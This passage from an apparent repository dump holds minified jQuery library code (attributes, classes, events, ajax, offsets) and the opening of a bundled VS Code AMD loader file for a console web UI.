r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return\"undefined\"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)||(i=S.attrHooks[t.toLowerCase()]||(S.expr.match.bool.test(t)?pt:void 0)),void 0!==n?null===n?void S.removeAttr(e,t):i&&\"set\"in i&&void 0!==(r=i.set(e,n,t))?r:(e.setAttribute(t,n+\"\"),n):i&&\"get\"in i&&null!==(r=i.get(e,t))?r:null==(r=S.find.attr(e,t))?void 0:r)},attrHooks:{type:{set:function(e,t){if(!y.radioValue&&\"radio\"===t&&A(e,\"input\")){var n=e.value;return e.setAttribute(\"type\",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r=0,i=t&&t.match(P);if(i&&1===e.nodeType)while(n=i[r++])e.removeAttribute(n)}}),pt={set:function(e,t,n){return!1===t?S.removeAttr(e,n):e.setAttribute(n,n),n}},S.each(S.expr.match.bool.source.match(/\\w+/g),function(e,t){var a=dt[t]||S.find.attr;dt[t]=function(e,t,n){var r,i,o=t.toLowerCase();return n||(i=dt[o],dt[o]=r,r=null!=a(e,t,n)?o:null,dt[o]=i),r}});var ht=/^(?:input|select|textarea|button)$/i,gt=/^(?:a|area)$/i;function vt(e){return(e.match(P)||[]).join(\" \")}function yt(e){return e.getAttribute&&e.getAttribute(\"class\")||\"\"}function mt(e){return Array.isArray(e)?e:\"string\"==typeof e&&e.match(P)||[]}S.fn.extend({prop:function(e,t){return $(this,S.prop,e,t,1<arguments.length)},removeProp:function(e){return this.each(function(){delete this[S.propFix[e]||e]})}}),S.extend({prop:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return 1===o&&S.isXMLDoc(e)||(t=S.propFix[t]||t,i=S.propHooks[t]),void 0!==n?i&&\"set\"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&\"get\"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=S.find.attr(e,\"tabindex\");return t?parseInt(t,10):ht.test(e.nodeName)||gt.test(e.nodeName)&&e.href?0:-1}}},propFix:{\"for\":\"htmlFor\",\"class\":\"className\"}}),y.optSelected||(S.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),S.each([\"tabIndex\",\"readOnly\",\"maxLength\",\"cellSpacing\",\"cellPadding\",\"rowSpan\",\"colSpan\",\"useMap\",\"frameBorder\",\"contentEditable\"],function(){S.propFix[this.toLowerCase()]=this}),S.fn.extend({addClass:function(t){var e,n,r,i,o,a,s,u=0;if(m(t))return this.each(function(e){S(this).addClass(t.call(this,e,yt(this)))});if((e=mt(t)).length)while(n=this[u++])if(i=yt(n),r=1===n.nodeType&&\" \"+vt(i)+\" \"){a=0;while(o=e[a++])r.indexOf(\" \"+o+\" \")<0&&(r+=o+\" \");i!==(s=vt(r))&&n.setAttribute(\"class\",s)}return this},removeClass:function(t){var e,n,r,i,o,a,s,u=0;if(m(t))return this.each(function(e){S(this).removeClass(t.call(this,e,yt(this)))});if(!arguments.length)return this.attr(\"class\",\"\");if((e=mt(t)).length)while(n=this[u++])if(i=yt(n),r=1===n.nodeType&&\" \"+vt(i)+\" \"){a=0;while(o=e[a++])while(-1<r.indexOf(\" \"+o+\" \"))r=r.replace(\" \"+o+\" \",\" \");i!==(s=vt(r))&&n.setAttribute(\"class\",s)}return this},toggleClass:function(i,t){var o=typeof i,a=\"string\"===o||Array.isArray(i);return\"boolean\"==typeof t&&a?t?this.addClass(i):this.removeClass(i):m(i)?this.each(function(e){S(this).toggleClass(i.call(this,e,yt(this),t),t)}):this.each(function(){var e,t,n,r;if(a){t=0,n=S(this),r=mt(i);while(e=r[t++])n.hasClass(e)?n.removeClass(e):n.addClass(e)}else void 0!==i&&\"boolean\"!==o||((e=yt(this))&&Y.set(this,\"__className__\",e),this.setAttribute&&this.setAttribute(\"class\",e||!1===i?\"\":Y.get(this,\"__className__\")||\"\"))})},hasClass:function(e){var t,n,r=0;t=\" \"+e+\" \";while(n=this[r++])if(1===n.nodeType&&-1<(\" \"+vt(yt(n))+\" \").indexOf(t))return!0;return!1}});var xt=/\\r/g;S.fn.extend({val:function(n){var r,e,i,t=this[0];return arguments.length?(i=m(n),this.each(function(e){var t;1===this.nodeType&&(null==(t=i?n.call(this,e,S(this).val()):n)?t=\"\":\"number\"==typeof t?t+=\"\":Array.isArray(t)&&(t=S.map(t,function(e){return null==e?\"\":e+\"\"})),(r=S.valHooks[this.type]||S.valHooks[this.nodeName.toLowerCase()])&&\"set\"in r&&void 0!==r.set(this,t,\"value\")||(this.value=t))})):t?(r=S.valHooks[t.type]||S.valHooks[t.nodeName.toLowerCase()])&&\"get\"in r&&void 0!==(e=r.get(t,\"value\"))?e:\"string\"==typeof(e=t.value)?e.replace(xt,\"\"):null==e?\"\":e:void 0}}),S.extend({valHooks:{option:{get:function(e){var t=S.find.attr(e,\"value\");return null!=t?t:vt(S.text(e))}},select:{get:function(e){var t,n,r,i=e.options,o=e.selectedIndex,a=\"select-one\"===e.type,s=a?null:[],u=a?o+1:i.length;for(r=o<0?u:a?o:0;r<u;r++)if(((n=i[r]).selected||r===o)&&!n.disabled&&(!n.parentNode.disabled||!A(n.parentNode,\"optgroup\"))){if(t=S(n).val(),a)return t;s.push(t)}return s},set:function(e,t){var n,r,i=e.options,o=S.makeArray(t),a=i.length;while(a--)((r=i[a]).selected=-1<S.inArray(S.valHooks.option.get(r),o))&&(n=!0);return n||(e.selectedIndex=-1),o}}}}),S.each([\"radio\",\"checkbox\"],function(){S.valHooks[this]={set:function(e,t){if(Array.isArray(t))return e.checked=-1<S.inArray(S(e).val(),t)}},y.checkOn||(S.valHooks[this].get=function(e){return null===e.getAttribute(\"value\")?\"on\":e.value})}),y.focusin=\"onfocusin\"in C;var bt=/^(?:focusinfocus|focusoutblur)$/,wt=function(e){e.stopPropagation()};S.extend(S.event,{trigger:function(e,t,n,r){var i,o,a,s,u,l,c,f,p=[n||E],d=v.call(e,\"type\")?e.type:e,h=v.call(e,\"namespace\")?e.namespace.split(\".\"):[];if(o=f=a=n=n||E,3!==n.nodeType&&8!==n.nodeType&&!bt.test(d+S.event.triggered)&&(-1<d.indexOf(\".\")&&(d=(h=d.split(\".\")).shift(),h.sort()),u=d.indexOf(\":\")<0&&\"on\"+d,(e=e[S.expando]?e:new S.Event(d,\"object\"==typeof e&&e)).isTrigger=r?2:3,e.namespace=h.join(\".\"),e.rnamespace=e.namespace?new RegExp(\"(^|\\\\.)\"+h.join(\"\\\\.(?:.*\\\\.|)\")+\"(\\\\.|$)\"):null,e.result=void 0,e.target||(e.target=n),t=null==t?[e]:S.makeArray(t,[e]),c=S.event.special[d]||{},r||!c.trigger||!1!==c.trigger.apply(n,t))){if(!r&&!c.noBubble&&!x(n)){for(s=c.delegateType||d,bt.test(s+d)||(o=o.parentNode);o;o=o.parentNode)p.push(o),a=o;a===(n.ownerDocument||E)&&p.push(a.defaultView||a.parentWindow||C)}i=0;while((o=p[i++])&&!e.isPropagationStopped())f=o,e.type=1<i?s:c.bindType||d,(l=(Y.get(o,\"events\")||Object.create(null))[e.type]&&Y.get(o,\"handle\"))&&l.apply(o,t),(l=u&&o[u])&&l.apply&&V(o)&&(e.result=l.apply(o,t),!1===e.result&&e.preventDefault());return e.type=d,r||e.isDefaultPrevented()||c._default&&!1!==c._default.apply(p.pop(),t)||!V(n)||u&&m(n[d])&&!x(n)&&((a=n[u])&&(n[u]=null),S.event.triggered=d,e.isPropagationStopped()&&f.addEventListener(d,wt),n[d](),e.isPropagationStopped()&&f.removeEventListener(d,wt),S.event.triggered=void 0,a&&(n[u]=a)),e.result}},simulate:function(e,t,n){var r=S.extend(new S.Event,n,{type:e,isSimulated:!0});S.event.trigger(r,null,t)}}),S.fn.extend({trigger:function(e,t){return this.each(function(){S.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];if(n)return S.event.trigger(e,t,n,!0)}}),y.focusin||S.each({focus:\"focusin\",blur:\"focusout\"},function(n,r){var i=function(e){S.event.simulate(r,e.target,S.event.fix(e))};S.event.special[r]={setup:function(){var e=this.ownerDocument||this.document||this,t=Y.access(e,r);t||e.addEventListener(n,i,!0),Y.access(e,r,(t||0)+1)},teardown:function(){var e=this.ownerDocument||this.document||this,t=Y.access(e,r)-1;t?Y.access(e,r,t):(e.removeEventListener(n,i,!0),Y.remove(e,r))}}});var Tt=C.location,Ct={guid:Date.now()},Et=/\\?/;S.parseXML=function(e){var t;if(!e||\"string\"!=typeof e)return null;try{t=(new C.DOMParser).parseFromString(e,\"text/xml\")}catch(e){t=void 0}return t&&!t.getElementsByTagName(\"parsererror\").length||S.error(\"Invalid XML: \"+e),t};var St=/\\[\\]$/,kt=/\\r?\\n/g,At=/^(?:submit|button|image|reset|file)$/i,Nt=/^(?:input|select|textarea|keygen)/i;function Dt(n,e,r,i){var t;if(Array.isArray(e))S.each(e,function(e,t){r||St.test(n)?i(n,t):Dt(n+\"[\"+(\"object\"==typeof t&&null!=t?e:\"\")+\"]\",t,r,i)});else if(r||\"object\"!==w(e))i(n,e);else for(t in e)Dt(n+\"[\"+t+\"]\",e[t],r,i)}S.param=function(e,t){var n,r=[],i=function(e,t){var n=m(t)?t():t;r[r.length]=encodeURIComponent(e)+\"=\"+encodeURIComponent(null==n?\"\":n)};if(null==e)return\"\";if(Array.isArray(e)||e.jquery&&!S.isPlainObject(e))S.each(e,function(){i(this.name,this.value)});else for(n in e)Dt(n,e[n],t,i);return r.join(\"&\")},S.fn.extend({serialize:function(){return S.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=S.prop(this,\"elements\");return e?S.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!S(this).is(\":disabled\")&&Nt.test(this.nodeName)&&!At.test(e)&&(this.checked||!pe.test(e))}).map(function(e,t){var n=S(this).val();return null==n?null:Array.isArray(n)?S.map(n,function(e){return{name:t.name,value:e.replace(kt,\"\\r\\n\")}}):{name:t.name,value:n.replace(kt,\"\\r\\n\")}}).get()}});var jt=/%20/g,qt=/#.*$/,Lt=/([?&])_=[^&]*/,Ht=/^(.*?):[ \\t]*([^\\r\\n]*)$/gm,Ot=/^(?:GET|HEAD)$/,Pt=/^\\/\\//,Rt={},Mt={},It=\"*/\".concat(\"*\"),Wt=E.createElement(\"a\");function Ft(o){return function(e,t){\"string\"!=typeof e&&(t=e,e=\"*\");var n,r=0,i=e.toLowerCase().match(P)||[];if(m(t))while(n=i[r++])\"+\"===n[0]?(n=n.slice(1)||\"*\",(o[n]=o[n]||[]).unshift(t)):(o[n]=o[n]||[]).push(t)}}function Bt(t,i,o,a){var s={},u=t===Mt;function l(e){var r;return s[e]=!0,S.each(t[e]||[],function(e,t){var n=t(i,o,a);return\"string\"!=typeof n||u||s[n]?u?!(r=n):void 0:(i.dataTypes.unshift(n),l(n),!1)}),r}return l(i.dataTypes[0])||!s[\"*\"]&&l(\"*\")}function $t(e,t){var n,r,i=S.ajaxSettings.flatOptions||{};for(n in t)void 0!==t[n]&&((i[n]?e:r||(r={}))[n]=t[n]);return r&&S.extend(!0,e,r),e}Wt.href=Tt.href,S.extend({active:0,lastModified:{},etag:{},ajaxSettings:{url:Tt.href,type:\"GET\",isLocal:/^(?:about|app|app-storage|.+-extension|file|res|widget):$/.test(Tt.protocol),global:!0,processData:!0,async:!0,contentType:\"application/x-www-form-urlencoded; charset=UTF-8\",accepts:{\"*\":It,text:\"text/plain\",html:\"text/html\",xml:\"application/xml, text/xml\",json:\"application/json, text/javascript\"},contents:{xml:/\\bxml\\b/,html:/\\bhtml/,json:/\\bjson\\b/},responseFields:{xml:\"responseXML\",text:\"responseText\",json:\"responseJSON\"},converters:{\"* text\":String,\"text html\":!0,\"text json\":JSON.parse,\"text xml\":S.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?$t($t(e,S.ajaxSettings),t):$t(S.ajaxSettings,e)},ajaxPrefilter:Ft(Rt),ajaxTransport:Ft(Mt),ajax:function(e,t){\"object\"==typeof e&&(t=e,e=void 0),t=t||{};var c,f,p,n,d,r,h,g,i,o,v=S.ajaxSetup({},t),y=v.context||v,m=v.context&&(y.nodeType||y.jquery)?S(y):S.event,x=S.Deferred(),b=S.Callbacks(\"once memory\"),w=v.statusCode||{},a={},s={},u=\"canceled\",T={readyState:0,getResponseHeader:function(e){var t;if(h){if(!n){n={};while(t=Ht.exec(p))n[t[1].toLowerCase()+\" \"]=(n[t[1].toLowerCase()+\" \"]||[]).concat(t[2])}t=n[e.toLowerCase()+\" \"]}return null==t?null:t.join(\", \")},getAllResponseHeaders:function(){return h?p:null},setRequestHeader:function(e,t){return null==h&&(e=s[e.toLowerCase()]=s[e.toLowerCase()]||e,a[e]=t),this},overrideMimeType:function(e){return null==h&&(v.mimeType=e),this},statusCode:function(e){var t;if(e)if(h)T.always(e[T.status]);else for(t in e)w[t]=[w[t],e[t]];return this},abort:function(e){var t=e||u;return c&&c.abort(t),l(0,t),this}};if(x.promise(T),v.url=((e||v.url||Tt.href)+\"\").replace(Pt,Tt.protocol+\"//\"),v.type=t.method||t.type||v.method||v.type,v.dataTypes=(v.dataType||\"*\").toLowerCase().match(P)||[\"\"],null==v.crossDomain){r=E.createElement(\"a\");try{r.href=v.url,r.href=r.href,v.crossDomain=Wt.protocol+\"//\"+Wt.host!=r.protocol+\"//\"+r.host}catch(e){v.crossDomain=!0}}if(v.data&&v.processData&&\"string\"!=typeof v.data&&(v.data=S.param(v.data,v.traditional)),Bt(Rt,v,t,T),h)return T;for(i in(g=S.event&&v.global)&&0==S.active++&&S.event.trigger(\"ajaxStart\"),v.type=v.type.toUpperCase(),v.hasContent=!Ot.test(v.type),f=v.url.replace(qt,\"\"),v.hasContent?v.data&&v.processData&&0===(v.contentType||\"\").indexOf(\"application/x-www-form-urlencoded\")&&(v.data=v.data.replace(jt,\"+\")):(o=v.url.slice(f.length),v.data&&(v.processData||\"string\"==typeof v.data)&&(f+=(Et.test(f)?\"&\":\"?\")+v.data,delete v.data),!1===v.cache&&(f=f.replace(Lt,\"$1\"),o=(Et.test(f)?\"&\":\"?\")+\"_=\"+Ct.guid+++o),v.url=f+o),v.ifModified&&(S.lastModified[f]&&T.setRequestHeader(\"If-Modified-Since\",S.lastModified[f]),S.etag[f]&&T.setRequestHeader(\"If-None-Match\",S.etag[f])),(v.data&&v.hasContent&&!1!==v.contentType||t.contentType)&&T.setRequestHeader(\"Content-Type\",v.contentType),T.setRequestHeader(\"Accept\",v.dataTypes[0]&&v.accepts[v.dataTypes[0]]?v.accepts[v.dataTypes[0]]+(\"*\"!==v.dataTypes[0]?\", \"+It+\"; q=0.01\":\"\"):v.accepts[\"*\"]),v.headers)T.setRequestHeader(i,v.headers[i]);if(v.beforeSend&&(!1===v.beforeSend.call(y,T,v)||h))return T.abort();if(u=\"abort\",b.add(v.complete),T.done(v.success),T.fail(v.error),c=Bt(Mt,v,t,T)){if(T.readyState=1,g&&m.trigger(\"ajaxSend\",[T,v]),h)return T;v.async&&0<v.timeout&&(d=C.setTimeout(function(){T.abort(\"timeout\")},v.timeout));try{h=!1,c.send(a,l)}catch(e){if(h)throw e;l(-1,e)}}else l(-1,\"No Transport\");function l(e,t,n,r){var i,o,a,s,u,l=t;h||(h=!0,d&&C.clearTimeout(d),c=void 0,p=r||\"\",T.readyState=0<e?4:0,i=200<=e&&e<300||304===e,n&&(s=function(e,t,n){var r,i,o,a,s=e.contents,u=e.dataTypes;while(\"*\"===u[0])u.shift(),void 0===r&&(r=e.mimeType||t.getResponseHeader(\"Content-Type\"));if(r)for(i in s)if(s[i]&&s[i].test(r)){u.unshift(i);break}if(u[0]in n)o=u[0];else{for(i in n){if(!u[0]||e.converters[i+\" \"+u[0]]){o=i;break}a||(a=i)}o=o||a}if(o)return o!==u[0]&&u.unshift(o),n[o]}(v,T,n)),!i&&-1<S.inArray(\"script\",v.dataTypes)&&(v.converters[\"text script\"]=function(){}),s=function(e,t,n,r){var i,o,a,s,u,l={},c=e.dataTypes.slice();if(c[1])for(a in e.converters)l[a.toLowerCase()]=e.converters[a];o=c.shift();while(o)if(e.responseFields[o]&&(n[e.responseFields[o]]=t),!u&&r&&e.dataFilter&&(t=e.dataFilter(t,e.dataType)),u=o,o=c.shift())if(\"*\"===o)o=u;else if(\"*\"!==u&&u!==o){if(!(a=l[u+\" \"+o]||l[\"* \"+o]))for(i in l)if((s=i.split(\" \"))[1]===o&&(a=l[u+\" \"+s[0]]||l[\"* \"+s[0]])){!0===a?a=l[i]:!0!==l[i]&&(o=s[0],c.unshift(s[1]));break}if(!0!==a)if(a&&e[\"throws\"])t=a(t);else try{t=a(t)}catch(e){return{state:\"parsererror\",error:a?e:\"No conversion from \"+u+\" to \"+o}}}return{state:\"success\",data:t}}(v,s,T,i),i?(v.ifModified&&((u=T.getResponseHeader(\"Last-Modified\"))&&(S.lastModified[f]=u),(u=T.getResponseHeader(\"etag\"))&&(S.etag[f]=u)),204===e||\"HEAD\"===v.type?l=\"nocontent\":304===e?l=\"notmodified\":(l=s.state,o=s.data,i=!(a=s.error))):(a=l,!e&&l||(l=\"error\",e<0&&(e=0))),T.status=e,T.statusText=(t||l)+\"\",i?x.resolveWith(y,[o,l,T]):x.rejectWith(y,[T,l,a]),T.statusCode(w),w=void 0,g&&m.trigger(i?\"ajaxSuccess\":\"ajaxError\",[T,v,i?o:a]),b.fireWith(y,[T,l]),g&&(m.trigger(\"ajaxComplete\",[T,v]),--S.active||S.event.trigger(\"ajaxStop\")))}return T},getJSON:function(e,t,n){return S.get(e,t,n,\"json\")},getScript:function(e,t){return S.get(e,void 0,t,\"script\")}}),S.each([\"get\",\"post\"],function(e,i){S[i]=function(e,t,n,r){return m(t)&&(r=r||n,n=t,t=void 0),S.ajax(S.extend({url:e,type:i,dataType:r,data:t,success:n},S.isPlainObject(e)&&e))}}),S.ajaxPrefilter(function(e){var t;for(t in e.headers)\"content-type\"===t.toLowerCase()&&(e.contentType=e.headers[t]||\"\")}),S._evalUrl=function(e,t,n){return S.ajax({url:e,type:\"GET\",dataType:\"script\",cache:!0,async:!1,global:!1,converters:{\"text script\":function(){}},dataFilter:function(e){S.globalEval(e,t,n)}})},S.fn.extend({wrapAll:function(e){var t;return this[0]&&(m(e)&&(e=e.call(this[0])),t=S(e,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&t.insertBefore(this[0]),t.map(function(){var e=this;while(e.firstElementChild)e=e.firstElementChild;return e}).append(this)),this},wrapInner:function(n){return m(n)?this.each(function(e){S(this).wrapInner(n.call(this,e))}):this.each(function(){var e=S(this),t=e.contents();t.length?t.wrapAll(n):e.append(n)})},wrap:function(t){var n=m(t);return this.each(function(e){S(this).wrapAll(n?t.call(this,e):t)})},unwrap:function(e){return this.parent(e).not(\"body\").each(function(){S(this).replaceWith(this.childNodes)}),this}}),S.expr.pseudos.hidden=function(e){return!S.expr.pseudos.visible(e)},S.expr.pseudos.visible=function(e){return!!(e.offsetWidth||e.offsetHeight||e.getClientRects().length)},S.ajaxSettings.xhr=function(){try{return new C.XMLHttpRequest}catch(e){}};var _t={0:200,1223:204},zt=S.ajaxSettings.xhr();y.cors=!!zt&&\"withCredentials\"in zt,y.ajax=zt=!!zt,S.ajaxTransport(function(i){var o,a;if(y.cors||zt&&!i.crossDomain)return{send:function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain||e[\"X-Requested-With\"]||(e[\"X-Requested-With\"]=\"XMLHttpRequest\"),e)r.setRequestHeader(n,e[n]);o=function(e){return function(){o&&(o=a=r.onload=r.onerror=r.onabort=r.ontimeout=r.onreadystatechange=null,\"abort\"===e?r.abort():\"error\"===e?\"number\"!=typeof r.status?t(0,\"error\"):t(r.status,r.statusText):t(_t[r.status]||r.status,r.statusText,\"text\"!==(r.responseType||\"text\")||\"string\"!=typeof r.responseText?{binary:r.response}:{text:r.responseText},r.getAllResponseHeaders()))}},r.onload=o(),a=r.onerror=r.ontimeout=o(\"error\"),void 0!==r.onabort?r.onabort=a:r.onreadystatechange=function(){4===r.readyState&&C.setTimeout(function(){o&&a()})},o=o(\"abort\");try{r.send(i.hasContent&&i.data||null)}catch(e){if(o)throw e}},abort:function(){o&&o()}}}),S.ajaxPrefilter(function(e){e.crossDomain&&(e.contents.script=!1)}),S.ajaxSetup({accepts:{script:\"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript\"},contents:{script:/\\b(?:java|ecma)script\\b/},converters:{\"text script\":function(e){return S.globalEval(e),e}}}),S.ajaxPrefilter(\"script\",function(e){void 0===e.cache&&(e.cache=!1),e.crossDomain&&(e.type=\"GET\")}),S.ajaxTransport(\"script\",function(n){var r,i;if(n.crossDomain||n.scriptAttrs)return{send:function(e,t){r=S(\"<script>\").attr(n.scriptAttrs||{}).prop({charset:n.scriptCharset,src:n.url}).on(\"load error\",i=function(e){r.remove(),i=null,e&&t(\"error\"===e.type?404:200,e.type)}),E.head.appendChild(r[0])},abort:function(){i&&i()}}});var Ut,Xt=[],Vt=/(=)\\?(?=&|$)|\\?\\?/;S.ajaxSetup({jsonp:\"callback\",jsonpCallback:function(){var e=Xt.pop()||S.expando+\"_\"+Ct.guid++;return this[e]=!0,e}}),S.ajaxPrefilter(\"json jsonp\",function(e,t,n){var r,i,o,a=!1!==e.jsonp&&(Vt.test(e.url)?\"url\":\"string\"==typeof e.data&&0===(e.contentType||\"\").indexOf(\"application/x-www-form-urlencoded\")&&Vt.test(e.data)&&\"data\");if(a||\"jsonp\"===e.dataTypes[0])return r=e.jsonpCallback=m(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,a?e[a]=e[a].replace(Vt,\"$1\"+r):!1!==e.jsonp&&(e.url+=(Et.test(e.url)?\"&\":\"?\")+e.jsonp+\"=\"+r),e.converters[\"script json\"]=function(){return o||S.error(r+\" was not called\"),o[0]},e.dataTypes[0]=\"json\",i=C[r],C[r]=function(){o=arguments},n.always(function(){void 0===i?S(C).removeProp(r):C[r]=i,e[r]&&(e.jsonpCallback=t.jsonpCallback,Xt.push(r)),o&&m(i)&&i(o[0]),o=i=void 0}),\"script\"}),y.createHTMLDocument=((Ut=E.implementation.createHTMLDocument(\"\").body).innerHTML=\"<form></form><form></form>\",2===Ut.childNodes.length),S.parseHTML=function(e,t,n){return\"string\"!=typeof e?[]:(\"boolean\"==typeof t&&(n=t,t=!1),t||(y.createHTMLDocument?((r=(t=E.implementation.createHTMLDocument(\"\")).createElement(\"base\")).href=E.location.href,t.head.appendChild(r)):t=E),o=!n&&[],(i=N.exec(e))?[t.createElement(i[1])]:(i=xe([e],t,o),o&&o.length&&S(o).remove(),S.merge([],i.childNodes)));var r,i,o},S.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(\" \");return-1<s&&(r=vt(e.slice(s)),e=e.slice(0,s)),m(t)?(n=t,t=void 0):t&&\"object\"==typeof t&&(i=\"POST\"),0<a.length&&S.ajax({url:e,type:i||\"GET\",dataType:\"html\",data:t}).done(function(e){o=arguments,a.html(r?S(\"<div>\").append(S.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},S.expr.pseudos.animated=function(t){return S.grep(S.timers,function(e){return t===e.elem}).length},S.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l=S.css(e,\"position\"),c=S(e),f={};\"static\"===l&&(e.style.position=\"relative\"),s=c.offset(),o=S.css(e,\"top\"),u=S.css(e,\"left\"),(\"absolute\"===l||\"fixed\"===l)&&-1<(o+u).indexOf(\"auto\")?(a=(r=c.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),m(t)&&(t=t.call(e,n,S.extend({},s))),null!=t.top&&(f.top=t.top-s.top+a),null!=t.left&&(f.left=t.left-s.left+i),\"using\"in t?t.using.call(e,f):(\"number\"==typeof f.top&&(f.top+=\"px\"),\"number\"==typeof f.left&&(f.left+=\"px\"),c.css(f))}},S.fn.extend({offset:function(t){if(arguments.length)return void 0===t?this:this.each(function(e){S.offset.setOffset(this,t,e)});var e,n,r=this[0];return r?r.getClientRects().length?(e=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:e.top+n.pageYOffset,left:e.left+n.pageXOffset}):{top:0,left:0}:void 0},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if(\"fixed\"===S.css(r,\"position\"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&\"static\"===S.css(e,\"position\"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=S(e).offset()).top+=S.css(e,\"borderTopWidth\",!0),i.left+=S.css(e,\"borderLeftWidth\",!0))}return{top:t.top-i.top-S.css(r,\"marginTop\",!0),left:t.left-i.left-S.css(r,\"marginLeft\",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&\"static\"===S.css(e,\"position\"))e=e.offsetParent;return e||re})}}),S.each({scrollLeft:\"pageXOffset\",scrollTop:\"pageYOffset\"},function(t,i){var o=\"pageYOffset\"===i;S.fn[t]=function(e){return $(this,function(e,t,n){var r;if(x(e)?r=e:9===e.nodeType&&(r=e.defaultView),void 0===n)return r?r[i]:e[t];r?r.scrollTo(o?r.pageXOffset:n,o?n:r.pageYOffset):e[t]=n},t,e,arguments.length)}}),S.each([\"top\",\"left\"],function(e,n){S.cssHooks[n]=$e(y.pixelPosition,function(e,t){if(t)return t=Be(e,n),Me.test(t)?S(e).position()[n]+\"px\":t})}),S.each({Height:\"height\",Width:\"width\"},function(a,s){S.each({padding:\"inner\"+a,content:s,\"\":\"outer\"+a},function(r,o){S.fn[o]=function(e,t){var n=arguments.length&&(r||\"boolean\"!=typeof e),i=r||(!0===e||!0===t?\"margin\":\"border\");return $(this,function(e,t,n){var r;return x(e)?0===o.indexOf(\"outer\")?e[\"inner\"+a]:e.document.documentElement[\"client\"+a]:9===e.nodeType?(r=e.documentElement,Math.max(e.body[\"scroll\"+a],r[\"scroll\"+a],e.body[\"offset\"+a],r[\"offset\"+a],r[\"client\"+a])):void 0===n?S.css(e,t,i):S.style(e,t,n,i)},s,n?e:void 0,n)}})}),S.each([\"ajaxStart\",\"ajaxStop\",\"ajaxComplete\",\"ajaxError\",\"ajaxSuccess\",\"ajaxSend\"],function(e,t){S.fn[t]=function(e){return this.on(t,e)}}),S.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)},hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),S.each(\"blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu\".split(\" \"),function(e,n){S.fn[n]=function(e,t){return 0<arguments.length?this.on(n,null,e,t):this.trigger(n)}});var Gt=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;S.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),m(e))return r=s.call(arguments,2),(i=function(){return e.apply(t||this,r.concat(s.call(arguments)))}).guid=e.guid=e.guid||S.guid++,i},S.holdReady=function(e){e?S.readyWait++:S.ready(!0)},S.isArray=Array.isArray,S.parseJSON=JSON.parse,S.nodeName=A,S.isFunction=m,S.isWindow=x,S.camelCase=X,S.type=w,S.now=Date.now,S.isNumeric=function(e){var t=S.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},S.trim=function(e){return null==e?\"\":(e+\"\").replace(Gt,\"\")},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return S});var Yt=C.jQuery,Qt=C.$;return S.noConflict=function(e){return C.$===S&&(C.$=Qt),e&&C.jQuery===S&&(C.jQuery=Yt),S},\"undefined\"==typeof e&&(C.jQuery=C.$=S),S});\n"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/loader.js",
    "content": "/*!-----------------------------------------------------------\n * Copyright (c) Microsoft Corporation. All rights reserved.\n * Version: 0.10.1(ebbf400719be21761361804bf63fb3916e64a845)\n * Released under the MIT license\n * https://github.com/Microsoft/vscode/blob/master/LICENSE.txt\n *-----------------------------------------------------------*/\n\"use strict\";var _amdLoaderGlobal=this,AMDLoader;!function(e){e.global=_amdLoaderGlobal;var t=function(){function t(e){this.isWindows=e.isWindows,this.isNode=e.isNode,this.isElectronRenderer=e.isElectronRenderer,this.isWebWorker=e.isWebWorker}return t.detect=function(){return new t({isWindows:this._isWindows(),isNode:\"undefined\"!=typeof module&&!!module.exports,isElectronRenderer:\"undefined\"!=typeof process&&void 0!==process.versions&&void 0!==process.versions.electron&&\"renderer\"===process.type,isWebWorker:\"function\"==typeof e.global.importScripts})},t._isWindows=function(){return!!(\"undefined\"!=typeof navigator&&navigator.userAgent&&navigator.userAgent.indexOf(\"Windows\")>=0)||\"undefined\"!=typeof process&&\"win32\"===process.platform},t}();e.Environment=t}(AMDLoader||(AMDLoader={}));var AMDLoader;!function(e){var 